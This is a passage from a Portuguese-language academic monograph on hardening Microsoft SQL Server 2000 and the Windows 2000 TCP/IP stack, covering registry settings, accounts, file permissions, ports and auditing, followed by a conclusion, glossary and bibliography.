MSSQLSERVER (ou MSSQL$NomedaInstância para uma instância nomeada). Este é o mecanismo de banco de dados do SQL Server e é o único serviço obrigatório; SQLSERVERAGENT (ou SQLAgent$NomedaInstância para uma instância nomeada). Serviço de suporte, utilizado para o agendamento de comandos e notificação aos usuários; MSSQLServerADHelper. Integração do Active Directory; Microsoft Search. Pesquisa de texto completo.

O Serviço DTC (Coordenador de transações distribuídas) deve ser desativado caso não utilize replicação de servidores.

6.5 Protocolos Evitando a utilização de protocolos desnecessários, há uma considerável redução da área de ataque disponível, a recomendação é a utilizar somente do protocolo TCP/IP para as conexões. O aplicativo "SQL Server Networ Utility", disponível na instalação do SQL Server oferece as opções necessárias a ativação ou não dos protocolos de rede disponíveis.

Figura 19 – Utilização do SQL Server Network Utility O fortalecimento da pilha do protocolo TCP/IP é recomendado pela Microsoft para evitar ainda mais a possibilidade de ataques aos servidores Windows 2000, oferecendo proteção extra a ataques de negação de serviço e outros ataques baseados em rede, as opções que serão apresentadas nunca deverão ser implantadas diretamente nos servidores de produção, pois alguns valores podem ser restritivos as conexões (MICROSOFT, 2004).

Um ataque SYN explora uma vulnerabilidade do mecanismo de estabelecimento de uma conexão TCP/IP. Para criar um ataque de sobrecarga de SYN, um invasor usa um programa para enviar uma sobrecarga de solicitações de SYN TCP para encher a fila de conexões pendentes no servidor. Isso impede que outros usuários estabeleçam conexões de rede.

Os passos para ativar a proteção ao ataque SYN são: Ativar a proteção contra ataques SYN Alterar a chave de registro:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices. Nome do valor: SynAttackProtect Valor recomendado: 2 Valores válidos: 0 – 2 A opção faz com que o TCP ajuste a retransmissão de SYN–ACKS, forçando as respostas de conexão a atingem o tempo limite mais rapidamente no caso de um ataque de SYN.

Definir limites de proteção Alterar as chaves de registro: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices Nome do valor: TcpMaxPortsExhausted Valor recomendado: 5 Valores válidos: 0 – 65535 Especifica o limite das solicitações de conexão TCP que precisam ser excedidas antes que a proteção de sobrecarga de SYN seja acionada Nome do valor: TcpMaxHalfOpen Valor recomendado: 500 Valores válidos: 100 – 65535 Quando SynAttackProtect é ativado, esse valor especifica o limite de conexões TCP no estado SYN_RCVD. Quando SynAttackProtect é excedido, a proteção de sobrecarga de SYN é acionada.

Nome do valor: TcpMaxHalfOpenRetried Valor recomendado: 400 Valores válidos: 80 – 65535 Quando SynAttackProtect é ativado, esse valor especifica o limite de conexões TCP no estado SYN_RCVD para o qual pelo menos uma retransmissão foi enviada. Quando SynAttackProtect é excedido, a proteção de sobrecarga de SYN é acionada.

Definir proteções adicionais: Alterar as chaves de registro: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices Nome do valor: TcpMaxConnectResponseRetransmissions Valor recomendado: 2 Valores válidos: 0 – 255 Controla quantas vezes um SYN-ACK é retransmitido antes de cancelar a tentativa ao responder a uma solicitação de SYN.

Nome do valor: TcpMaxDataRetransmissions Valor recomendado: 2 Valores válidos: 0 – 65535 Especifica o número de vezes que o TCP retransmite um segmento de dados individual (não segmentos de solicitação de conexão) antes de anular a conexão.

Nome do valor: EnablePMTUDiscovery Valor recomendado: 0 Valores válidos: 0, 1 Configurar esse valor para 1 (o padrão) força o TCP a descobrir a unidade de transmissão máxima ou o maior tamanho de pacote no caminho para um host remoto. Um invasor pode forçar a fragmentação de pacotes, o que sobrecarrega a pilha. Especificar 0 força o MTU de 576 bytes para conexões de hosts que não estão na sub-rede local.

Nome do valor: KeepAliveTime Valor recomendado: 300000 Valores válidos: 80 – 4294967295 Especifica a freqüência com que o TCP tenta verificar se uma conexão ociosa ainda está intacta enviando um pacote de manutenção de funcionamento.

Nome do valor: NoNameReleaseOnDemand Valor recomendado: 1 Valores válidos: 0, 1 Especifica não liberar o nome NetBIOS de um computador quando ele recebe uma solicitação de liberação de nomes.

Proteger contra ataques de ICMP Incluir ou alterara chave de registro: HKLMSystemCurrentControlSetServicesAFDParameters Valor: EnableICMPRedirect Valor recomendado: 0 Valores válidos: 0 (desativado), 1 (desativado) Modificando esse valor de registro para 0 evita a criação de rotas de host caras quando um pacote de redirecionamento ICMP é recebido.

Proteções contra AFD.SYS As chaves a seguir especificam parâmetros para o driver do modo kernel Afd.sys. O Afd.sys é usado para dar suporte a aplicativos de soquete do Windows.

As chaves e valores nesta seção estão localizados sob a chave de registro HKLMSystemCurrentControlSetServicesAFDParameters Valor EnableDynamicBacklog Valor recomendado: 1 Valores válidos: 0 (desativado), 1 (ativado) Especifica a funcionalidade AFD.SYS para suportar um alto número de conexões SYN_RCVD eficientemente Nome do valor: MinimumDynamicBacklog Valor recomendado: 20 Valores válidos: 0 – 4294967295 Especifica um número mínimo de conexões livres permitidas em um ponto de extremidade de escuta. Se o número de conexões livres caírem abaixo desse valor, um segmento é enfileirado para criar conexões livres adicionais Nome do valor: MaximumDynamicBacklog Valor recomendado: 20000 Valores válidos: 0 – 4294967295 Especifica a quantidade máxima total das duas conexões livres mais aquelas no estado SYN_RCVD.

Nome do valor: DynamicBacklogGrowthDelta Valor recomendado: 10 Valores válidos: 0 – 4294967295 Presente por padrão: Não Especifica o número de conexões livres a serem criadas quando conexões adicionais são necessárias.

Proteções adicionais:

As chaves e valores nesta seção estão localizados sob a chave de registro HKLMSystemCurrentControlSetServicesTcpipParameters.

Proteger detalhes da rede analisada:

O NAT (Network Address Translation) é usado para analisar uma rede a partir de conexões de entrada. Um invasor pode contornar essa análise para determinar a topologia de rede usando o roteamento de origem IP.

Valor: DisableIPSourceRouting Valor recomendado: 1 Valores válidos: 0 (encaminha todos os pacotes), 1 (não encaminha pacotes roteados de origem), 2 (descarta todos os pacotes roteados de origem).

Desativa o roteamento de origem IP, que permite que um remetente determine a rota que um datagrama deverá tomar através da rede Evitar aceitar pacotes fragmentados:

O processamento de pacotes fragmentados pode ser caro. Embora seja raro que uma negação de serviço seja originada dentro da rede do perímetro, essa configuração evita o processamento de pacotes fragmentados.

Valor: EnableFragmentChecking Valor recomendado: 1 Valores válidos: 0 (desativado), 1 (ativado) Evita que a pilha IP aceite pacotes fragmentados Não encaminhar pacotes destinados a diversos hosts:

Pacotes Multicast podem ser respondidos por vários hosts, resultando em respostas que podem sobrecarregar uma rede.

Valor: EnableMulticastForwarding Valor recomendado: 0 Intervalo válido: 0 (falso), 1 (verdadeiro) O serviço de roteamento usa esse parâmetro para controlar se as difusões seletivas de IP são ou não encaminhadas. Esse parâmetro é criado pelo serviço Roteamento e Acesso Remoto.

Somente firewalls encaminham pacotes entre redes:

Um servidor com diversas bases não pode encaminhar pacotes entre as redes às quais está conectado. A exceção óbvia é o firewall. Valor: IPEnableRouter Valor recomendado: 0 Intervalo válido: 0 (falso), 1 (verdadeiro) Configurar este parâmetro como 1 (verdadeiro) faz com que o sistema roteie pacotes IP entre as redes às quais ele está conectado.

Mascarar detalhes da topologia da rede:

A máscara de sub-rede de um host pode ser solicitada usando pacotes ICMP. Essa divulgação de informação por si só é inofensiva; no entanto, as respostas de vários hosts podem ser usadas para gerar conhecimento sobre a rede interna.

Valor: EnableAddrMaskReply Valor recomendado: 0 Intervalo válido: 0 (falso), 1 (verdadeiro) Esse parâmetro controla se o computador responde a uma solicitação de máscara de endereço ICMP.

6.6 Contas Além das diretivas de senhas de alta segurança, deve-se seguir o princípio de atribuir o menor privilégio possível as contas utilizadas as conexões no SQL Server, a fim de restringir os recursos caso haja uma invasão por roubo de senhas. Os passos a seguir são recomendações para uma política de senhas e contas segura.

Proteger a conta do serviço do SQL Server. Execute o serviço do SQL Server com uma conta com o menor privilégio possível, minimizando danos causados por invasores, e nunca utilize uma conta do grupo de Administradores.

Crie um usuário utilizando a ferramenta Usuários de Grupos Locais. Adicione um usuário utilizando uma senha de alta segurança, remova a conta do grupo Usuários. Caso haja a necessidade de acessar a rede através do servidor, crie uma conta com o mesmo nome e senha do servidor remoto, ou utilize uma conta do domínio com poucos privilégios.

Exclua contas não utilizadas, Audite as contas locais, estas podem ser utilizadas para ataques, a recomendação é antes de excluir a conta supostamente inativa, que a desabilite, as contas excluídas não podem ser recuperadas. As contas "Administrador" e "Convidado" não podem ser excluídas, mas a conta "Convidado" deve ser desativada.

Renomeie a conta de Administrador e utilize uma senha de alta segurança, esta conta é o alvo inicial de qualquer ataque, para aumentar a segurança a ataques óbvios e dicionário.

Utilize a ferramenta de Diretivas de Segurança Local para desativar o direito de acesso do grupo "Todos" a "Acesso a este computador pela rede".

Desative logons anônimos, sessões não autenticadas podem ser utilizadas por atacantes. Informações como detalhes sobre domínios e confiabilidade, compartilhamentos, informações sobre usuários, chaves de registros podem ser descobertas por meio de sessões nulas.

Restrinja sessões nulas através da chave de registro: HKLMSystemCurrentControlSetControlLSARestrictAnonymous=1

6.7 Arquivos e diretórios É recomendada a instalação do SQL Server em partições NTFS, reforce as permissões para restringir acessos a arquivos de dados, logs e arquivos de programas do SQL Server, Permissões NTFS para a conta de serviço do SQL Server:

Instalação:

Arquivos de programasMicrosoft SQL ServerMSSQL Permissões para a conta do SQL Server Ler e Executar Listar Conteúdo de Pastas Ler Arquivos de banco de dados (.mdf, .ndf, .ldf files):

Arquivos de programasMicrosoft SQL ServerMSSQLData Permissões para a conta do SQL Server Controle Total Arquivos de banco de dados (.mdf, .ndf, .ldf files):

Arquivos de programasMicrosoft SQL ServerMSSQLData Permissões para a conta do SQL Server Controle Total Arquivos de log de erro:

Arquivos de programasMicrosoft SQL ServerMSSQLLOG Permissões para a conta do SQL Server Controle Total Arquivos de backup:

Arquivos de ProgramasMicrosoft SQL ServerMSSQLBackup Permissões para a conta do SQL Server Controle Total Diretório de saída de arquivos temporários de tarefas:

Arquivos de programasMicrosoft SQL ServerMSSQLJobs Permissões para a conta do SQL Server Controle Total Além das permissões devemos verificas que o grupo "Todos" não tenha permissão para ao grupo de arquivos do SQL Server, e remover todos os aplicativos, ferramentas, utilitários e SDKs desnecessários ao funcionamento do servidor, esses aplicativos só devem estar presentes em ambientes de testes, nunca em produção.

6.8 Portas Por padrão o SQL Server escuta a porta 1433 TCP, e utiliza a porta 1434 UDP para negociações entre cliente e servidor. Utilize um firewall de perímetro protegendo essas portas, limite os acessos as portas somente a aplicativos autorizados. Essas ações protegerão os dados de ataques esternos, não sendo eficaz para ataques internos.

Instancias nomeadas de servidores trabalham em portas atribuídas dinamicamente durante a instalação, para evitar abrir um intervalo de portas no firewall, é aconselhado que se configure uma porta específica, nesse caso alguns clientes deverão ser reconfigurados, utilizando-se o número da porta escolhida na seqüência de conexão, ficando da seguinte maneira:

· "Server=YourServer|YourServerIPAddress,PortNumber" Considere utilizar a opção "Hide Server", nas propriedades do TCP/IP no SQL Network Utility, selecionar essa opção o SQL Server será reconfigurado para escutar na porta 2433 e também desativará as respostas para as solicitações de transmissão dos clientes que tentam enumerar as instâncias do SQL Server. Não confie nessa medida para ocultar a porta do SQL Server. Segurança por obscuridade não é garantia de sucesso, existem inúmeras maneiras de enumerar portas para descobrir sua localização.

6.9 Auditoria e logs Auditoria não impede ataques aos sistemas, mas auxilia na identificação de invasores, e ataques em andamento, a ativação dos mecanismos de auditoria é necessária no nível do sistema operacional e logons no SQL Server, as etapas para uma correta e segura implementação de logs de auditoria são:

Registrar em logs todas as falhas de logons no Windows;

· Inicie a ferramenta Diretiva de Segurança Local;

· Expanda Diretivas Locais e, em seguida, selecione Diretiva de Auditoria;

· Clique duas vezes em Eventos de logon de conta de auditoria;

· Clique em Falha e, em seguida, clique em OK.

Registrar todas as falhas de ações no sistema de arquivos;

· Inicie a ferramenta Diretiva de Segurança Local;

· Expanda Diretivas Locais e, em seguida, selecione Diretiva de Auditoria;

· Clique duas vezes em Auditoria de acesso a objetos;

· Clique em Falha e, em seguida, clique em OK.

Ativar a auditoria de logon no SQL Server.

· Inicie o SQL Server Enterprise Manager, expanda o SQL Server Group e, em seguida, expanda o SQL Server;

· Clique com o botão direito do mouse no SQL Server e, em seguida, clique em Properties;

· Clique na guia Security;

· Defina o nível de Auditoria como All ou Failure;

· Reinicie o SQL Server de modo que as alterações na diretiva de auditoria sejam efetivadas.

CAPÍTULO 7

Conclusão

Quando pensamos na segurança dos dados e informações, estamos diante de vários aspectos e soluções, muitas vezes, complicadas e onerosas. Existe uma guerra não declarada entre crackers e administradores, estes últimos em ligeira desvantagem na maioria dos casos, devendo estes promover, em todos os âmbitos da organização que atuam, a cultura da segurança da informação. As equipes de segurança de informação devem ser multidisciplinares, contando com apoio tecnológico, jurídico e principalmente financeiro.

O treinamento, pesquisa e a atualização tecnológica das equipes devem ser abrangentes e constantes, as práticas devem ser necessariamente aplicadas. A segurança é um processo cíclico de descoberta de falhas, vulnerabilidades e meios de exploração, aplicação de correções e melhorias no desenvolvimento.

A aplicação das práticas seguras deve contemplar toda a infra-estrutura e os pontos de acesso dos sistemas, iniciando-se na segurança física dos equipamentos, na localização, refrigeração, proteção contra forças da natureza e políticas de acesso físico aos equipamentos. A escolha das tecnologias de hardware aplicadas à segurança como firewalls, detectores e protetores e invasão, antivírus e anti-spans deve ser considerada fortemente.

Durante a seleção de novas tecnologias a serem aplicadas, a atenção nos aspectos de segurança intrínsecos deve ser ponderada, a integração destes aos sistemas legados deve ser fortemente avaliada, sob o risco da inclusão involuntária de brechas na segurança, antes inexistentes.

Incluso nos planos de continuidade dos negócios e recuperação dos desastres, os aspectos de segurança físicos e lógicos devem ser contemplados e representantes da área de Segurança de Informação devem fazer parte dos comitês de implantação.

Dentro da cultura empresarial, existe a percepção errada e incômoda que segurança não gera lucro, ou é uma grande despesa. Essa realidade deve ser modificada, a conscientização das equipes deve ser conquistada em todos os níveis hierárquicos. Os gestores devem apoiar as práticas seguras e os custos inerentes.

A equipe de desenvolvimento e administradores de dados deve conhecer profundamente os aspectos de segurança de informação, aplicando as técnicas de desenvolvimento seguro, prevenindo-se de falhas e ataques. A pesquisa e o desenvolvimento pessoal devem ser incentivados. Novas falhas são descobertas todos os dias e a defesa deve ser a mais rápida possível.

Os ambientes de testes e produção devem ser isolados, novas aplicações e correções nos sistemas devem ser aplicados nos ambientes de testes e somente depois da validação devem ser aplicados no ambiente produtivo, quando as atualizações corrigirem falhas de segurança. O tempo de testes e aplicação deve ser o mínimo possível, pois graves ataques já foram efetuados utilizando-se de falhas já corrigidas pelo fabricante dos aplicativos.

No ambiente produtivo, para diminuir a área de ataque, deve-se ter à disposição somente os aplicativos, serviços e meios de acesso necessários ao funcionamento dos serviços, aplicativos opcionais, exemplos e sistemas de ajuda; outros não necessários, não devem estar presentes, portas e protocolos não utilizados devem ser desabilitados.

A recomendação maior é conhecer como se ataca, para implantar a defesa correta, pensar como um usuário mal intencionado tentará uma quebra de segurança e antecipar-se a ele. No estudo das técnicas de ataque e defesa, a utilização de publicações específicas, diversos fóruns, listas de discussão, boletins de segurança e comunidades, além dos sites dos fabricantes dos sistemas utilizados será de imensa utilidade, é comum especialistas em segurança participar de grupos formados por hackers e crackers. A troca de informação é vital tanto para o ataque, como para a defesa.

Podemos afirmar, com toda a certeza, que não existe segurança absoluta. Podemos chegar a um nível de segurança aceitável, em que serão analisados quais os pontos vulneráveis e avaliar os riscos e impactos à organização, e em muitos casos até correr riscos, mas as práticas de segurança devem prever que, em uma ocorrência de quebra de segurança, o impacto aos negócios deve ser o mínimo possível.

Os bancos de dados levam em si a alma de uma organização. Da informação é gerado o conhecimento, que leva a continuidade dos negócios, e conseqüentemente ao sucesso.

Glossário

Backups: Cópias de segurança.

Buffer: Em ciência da computação, buffer é uma região de memória temporária utilizada para escrita e leitura de dados.

Check List: Lista de verificação.

Cookie: É um grupo de dados trocados entre o navegador e o servidor de páginas, colocado num arquivo de texto criado no computador do utilizador.

Crach: Crash é um termo utilizado em informática quando um programa (uma aplicação ou um sistema operativo) deixa de responder e se encontra bloqueado.

Crack: Um crack é um pequeno software usado para quebrar um sistema de segurança qualquer.

Deletar: Apagar.

Firewall: Mecanismo ou sistema utilizado para proteger uma rede.

Hardware: Parte física de um computador.

Internet: Grande rede de computadores.

Javascript: Linguagem de programação criada pela Netscape em 1995.

Kernel: O Kernel de um sistema operacional é entendido como o núcleo deste ou, numa tradução literal, cerne. Ele representa a camada de software mais próxima do hardware, sendo responsável por gerenciar os recursos do sistema computacional como um todo.

Log: Em computação, Log de dados é o termo utilizado para descrever o processo de registro de eventos relevantes num sistema computacional.

Login: Ou Palavra-Senha é um conjunto de caracteres solicitado para os usuários que por algum motivo necessitam acessar algum sistema computacional.

Multiplataforma: Diz-se multiplataforma um programa ou sistema que roda em mais de uma plataforma, por exemplo, Windows w Linux.

Netbios: É uma interface de programa que foi desenvolvida para permitir a comunicação entre máquinas. Nesta estrutura foi implementado o conceito de nome de serviço, o que possibilita que uma máquina conecte-se à rede reservando um nome para sua utilização.

Patches: Arquivos com atualizações de programas especialmente sistemas operacionais.

Pilha(Stack): Em ciência da computação, uma pilha (stack em inglês) é um tipo abstrato de dado e estrutura de dados baseado no princípio de Last In First Out (LIFO).

Roteamento: No contexto das redes de computadores, o encaminhamento (ou roteamento) de pacotes (em inglês: routing) designa o processo de reencaminhamento de pacotes, que se baseia no endereço IP e máscara de rede dos mesmos.

Script: Linguagem de script (também conhecido como linguagem de scripting, ou linguagem de extensão) são linguagens de programação executadas do interior de programas e/ou de outras linguagens de programação.

Site: ou Web Site, conjunto de documentos disponibilizados na web.

SMB: Nos computadores em rede, Server Message Block (SMB) funciona como um aplicativo de nível rede, protocolo-aplicado principalmente para o acesso aos arquivos compartilhados, impressoras, portas seriais, e diversas comunicações entre nodos em uma rede. Ela também fornece um mecanismo de autenticação Inter-Process Communication. A maioria dos usos de SMB envolve computadores que executam o Microsoft Windows em ambientes de rede, muitas vezes sem que os usuários saibam que o serviço é nomeado como "Microsoft Windows Network".

Software: Conjunto de instruções que realizam tarefas em um computador.

Vbscript; Acrônimo de Microsoft Visual Basic Scripting Edition é um subsistema do Visual Basic usado em Active Server Pages e em Windows Scripting Hosts como uma linguagem de aplicação universal (general-purpose).

Referências bibliográficas

DAVENPORT, Thomas, PRUSAK, Laurence: Conhecimento Empresarial: Como as Organizações Gerenciam seu Capital Intelectual. Rio de Janeiro: Campus, 1998.

HOUAISS, Antônio; VILLAR, Mauro de Salles: Dicionário Houaiss da Língua Portuguesa, Rio de Janeiro: Editora Objetiva, 2001.

SETZER, V. W. : Os Meios Eletrônicos e a Educação: uma Visão Alternativa. São Paulo: Editora Escrituras, Coleção Ensaios Transversais, Vol. 10, 2a. ed. 2002 NONAKA, Ikujiro. : A Empresa Criadora do Conhecimento. São Paulo: Futura, 1997.

ASSOCIAÇÃO BRASILEIRA DE NORMAS TÉCNICAS. NBR ISO/IEC 17799:

informação e documentação: controle de acesso. Rio de Janeiro, 2001.

DINIZ, M. H. Curso de Direito Civil Brasileiro, Editora Saraiva, 2a. ed., São Paulo, 1986 STAIR, R. M. 1996. Princípios de sistema de informação: uma abordagem gerencial. Rio de Janeiro, LTCLivrosTécnicos e Científicos.

DATE, C. J, Introdução a Sistema de Banco de Dados. Editora Campus, 2000 WIKIPEDIA, Sistema de Gerenciamento de banco de dados, disponível em:

, Acesso em 10 de Outubro de 2008.

MICROSOFT, MCDBA on Microsoft SQL Server 2000 Certification Requirements, disponível em: , Acesso em 15 de Outubro de 2008.

ORACLE, Oracle Certification Program – Steps to Become Oracle Certified, disponível em:

, Acesso em 25 de Outubro de 2008.

ALECRIM, Emerson, Tecnologia RAID, Publicado em 18/01/2004 – Atualizado em 28/12/2006 disponível em: , Acesso em 10 de Novembro de 2008.

LOBATO, André, Plano de contingência em tecnologia evita panes, Folha de São Paulo, São Paulo, 21/07/2008, Informática. Disponível em , Acesso em 10 de Novembro de 2008 GUIMARÃES, Ernane, Apagão de internet revela os riscos da ciberdependência, diz especialista, Folha de São Paulo, São Paulo, 14/07/2008, Informática. Disponível em < http://www1.folha.uol.com.br/folha/informatica/ult124u422123>, Acesso em 10 de Novembro de 2008 ULBRICH, Henrique Cesar, DELLA VALLE, James. Universidade Hacker. São Paulo: Digeratti, 2002, Cap 1 SANTA"ANNA, Mauro, Tratando Usuários como Psicopatas, MSDN Magazine Novembro 2003, Encarando o Desenvolvedor, p 10 ALECRIM, Emerson, Ataques DoS (Denial of Service) e DDoS (Distributed DoS), Publicado em 09/10/2004, disponível em: < http://www.infowester.com/col091004.php>, Acesso em 20 de Novembro de 2008.

MICROSOFT, Protegendo seu Servidor de Banco de Dados, disponível em: < http://www.microsoft.com/brasil/security/guidance/topics/devsec/secmod91.mspx>, publicado em 24 de Maio de 2004, Acesso em 15 de Outubro de 2008.

MICROSOFT, Como: fortalecer a pilha do TCP/IP, disponível em: < http://www.microsoft.com/brasil/security/guidance/topics/devsec/secmod109.mspx>, publicado em 21 de Maio de 2004, Acesso em 15 de Outubro de 2008.

Anexo 1 – "Check list" de um servidor de banco de dados seguro